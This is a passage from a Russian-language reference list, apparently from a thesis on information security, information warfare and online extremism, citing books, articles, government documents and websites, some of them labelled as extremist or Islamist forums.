Б. Современное общество: общество риска, информационное общество, общество знаний. – М.: Логос, 2009. 36. Гриняев С. «Сетевая война» по-американски // Независимое военное обозрение. – 2002. – 15 февр. 37. Губарев А.Б. Информационные войны как объект политологического исследования. Уссурийск, 2005. 38. Дзялошинский И.М. Информационное пространство

России: структура, особенности функционирования, перспективы эволюции. М 2001. 39. Доктрина информационной безопасности РФ. – М 2000. 40. Дроздовский С. Информатизация — основа интеграции регионов России. Правила игры // Экономика, политика, общество. 2000 № 3. 41. Журавель В.П. Гражданское общество: проблемы идеологического и информационного противодействия

терроризму // Право и безопасность. 2004. №3 (12). 42. Иноземцев В.Л. Современное постиндустриальное общество: природа, противоречия, перспективы М.: Логос, 2000. 43. Информатика и математика для юристов: сеть Интернет. М.: Профобразование, 2003. 44. Информационная безопасность Российской Федерации. Аналитический вестник Совета

Федерации ЗС РФ. №14 (266). 2010. 45. Информационные технологии в решении общественных проблем. Аналитический вестник Совета Федерации ЗС РФ. №9 (354). 2008. 46. Карамина А.Л. Проблема обеспечения информационной безопасности на Северном Кавказе // Национальная и региональная безопасность на Юге России: новые вызовы / Под ред. В.В. Черноуса /

Южнороссийское обозрение. Вып. 14. Ростов н/Д 2003. 47. Кастельс М. Информационная эпоха: экономика, общество и культура: Пер. с англ. Под ред. О.И. Шкаратана. М.: ГУ-ВШЭ,2000. 48. Колесников. Д.Г. Защита информации в компьютерных системах. http://protect.htmlweb.ru/ 49. Компьютерные сети "Интернет" и интеллектуальная собственность.

М.: ГОУ ВПО РГИИС, 2010. 50. Компьютерные технологии обработки информации / Под ред. Назарова С.В М.: Финансы и статистика, 1995. 51. Корнеев И.К Машурцев В.А. Информационные технологии в управлении М.: Инфра-М, 2001. 52. Кузьмин А.М. Управление в глобальном информационном обществе. – М.: МГИМО, 2010. 53. Лисичкин В. А Вирин М. М. Формирование информационного общества. –

М.: ИСПИ РАН, 2008. 54. Макарова И.В. Неформальная коммуникация в контексте массовой коммуникации // СМИ в этнополитических процессах на Юге России / Под ред. В.В. Черноуса / Южнороссийское обозрение. Вып. 19. Ростов н/Д, 2003. 55. Малюк А.А. Информационная безопасность: концептуальные и методологические основы защиты информации. М: Горячая линия – Телеком, 2004. 56.

Махмудов Р. Ш. Вопросы определения юрисдикции как важный аспект регулирования интернета // Информационное общество. №6. 2010. 57. Михайленко Т.А. Особенности информационной войны в современном мире // Государственное управление. №19. 2009. 58. Михеев А.Н Новые информационные технологии и процесс выработки внешней политики: к определению предметного поля

проблемы М 2000. 59. Натаров В.А. О некоторых проблемах информатизации и информационной безопасности в Южном федеральном округе // Федеральный справочник «Связь и информатизация в России. 2001-2002 годы. М 2002. 60. Окинавская хартия глобального информационного общества. http://www.iis.ru/ 61. Панарин И Панарин Л. Технология информационной войны. М 2003. 62. Петренко С. А Симонов С. В.Управление информационными рисками.

Экономически оправданная безопасность М.: Компания АйТи; ДМК Пресс, 2004. 63. Петров В. П Петров С. В. Информационная безопасность человека и общества. – М.: ЗАО "Издательство НЦ ЭНАС", 2007. 64. Поляков Ю.А. Информационная безопасность и средства массовой информации.

М, 2003. 65. Проблемы кибербезопасности информационного общества. Том 27. Труды Института системного анализа Российской академии наук. – М 2006. 66. Разработка стратегии государственной политики в области развития ИКТ сектора. – М.: Фонд экономических исследований «Новая экономика», 2002. 67. Саак. А.Э Пахомов Е.В Тюшняков В.Н. Информационные технологии управления. –

СПб.: Питер, 2009. 68. Саати Т.Л Кернс К.К. Аналитическое планирование: организация систем. – М.: Радио и связь, 1991. 69. Сапожникова А.С. Взаимодействие государства и общества в политике информационной безопасности РФ // Государственное управление. №19. 2009. 70. Серго А.Г. Интернет и Право М.: Бестселлер, 2003. 71. Соколов И.А Колин К.К. Развитие информационного общества в

России и актуальные проблемы информационной безопасности // Информационное общество. №4-5. 2000. 72. Соколов М.С. Понятие и характеристика угроз системе регулирования информационных отношений // Информационное общество. №3. 2011. 73. Стрельцов А.А. Обеспечение информационной безопасности России.

Теоретические и методологические основы / Под ред. В.А. Садовничего и В.П.Шестюка. М.: МЦНМО, 2002. 74. Танимов О.В Кудашкин Я.В. Перспективы правового регулирования отношений в сети Интернет // Информационное право. 2010. №4. 75. Уорли Бекки Интернет: реальные и мнимые угрозы. М: Кудиц-

Образ, 2004. 76. Хорошилов А.В. Управление информационными ресурсами. - М.: Финансы и статистика, 2006. 77. Хорошилов А.В Максюков Н.И Селетков С.Н. Информационные ресурсы и их использование в государственном управлении и предпринимательской деятельности. Образовательный аспект. / Сб. «Электронный бизнес. Рынок информационных услуг». –

М МЭСИ, 2010. 78. Хорошилов А.В Селетков С.Н. Мировые информационные ресурсы. – СПб.: Питер, 2004. 79. Хоссейн Г. Ограничение и сдерживание глобальных потоков данных. – М.: МЦБС, 2008. 80. Цирлов В.Л. Основы информационной безопасности автоматизированных систем. М: Феникс, 2008. 81. Щеглов А.Ю. Защита компьютерной информации от несанкционированного доступа. М: Наука и Техника, 2004. 82. Щекочихина Т.Н. Концептуальные подходы к определению истоков и причин

возникновения современного терроризма // Вестник Университета. Государственное и муниципальное управление М.: ГУУ, 2008. 83. Ярочкин В.И. Информационная безопасность. М: Гаудеамус, 2004. 84. http://al-azkar.ucoz.ru/forum/13-230-1 - исламский форум АЛЬ-АЗКАР 85. http://anticenter.org - сайт АнтиЦентр 86. http://caucasenews.wordpress.com/2011/07 /06/тема-

форума-информационный-джихад/ - раздел Кавказ-ньюз на хостинговой площадке Wordpress.com 87. http://hotline.friendlyrunet.ru/?l=ru – горячая линия интернет проекта дружественный рунет 88. http://lenta.ru/news/2011/06/13/shadow/ - рамблер издание Лента.ру 89. http://ru.wikipedia.org/ - информационно-справочная система Википидия 90. http://scienceport.ru/print/book/export/ html/363 -

Наука и образование против Террора 91. http://slovari.yandex.ru/ - Яндекс словари 92. http://soratnik.com/ - сайт РНЕ 93. http://tawba.info – сайт Джамаат Булгар 94. http://vdagestan.info – НИА «Дагестан Инфо» 95. http://www.constitution.ru/ - сайт Конституция РФ 96. http://www.dw-world.de/dw/article/0 3888890,00.html –

Дойтч Веле 97. http://www.friendlyrunet.ru/ - Дружественный Рунет 98. http://www.guardian.co.uk/ - Гардиан 99. http://www.kouzdra.ru/anticenter.org/ata ka.htm - сообщество по борьбе с экстремисткими сайтами 100. http://www.minjust.ru/ - Министерство Юстиции РФ. 101. http://www.nytimes.com/ - Нью-Йорк Таймс. 102. http://www.politike.ru/ – Национальная политическая энциклопедия.

103. http://www.rodon.org – Портал «Родон». 104. http://www.rsoc.ru/ – Роскомнадзор. 105. http://www.ummanews.com – Новости Исламской Уммы. 106. http://www.youtube.com/ - Ютуб. 107. http://zakupki.gov.ru/ – Сайт госзакупок РФ. Приложения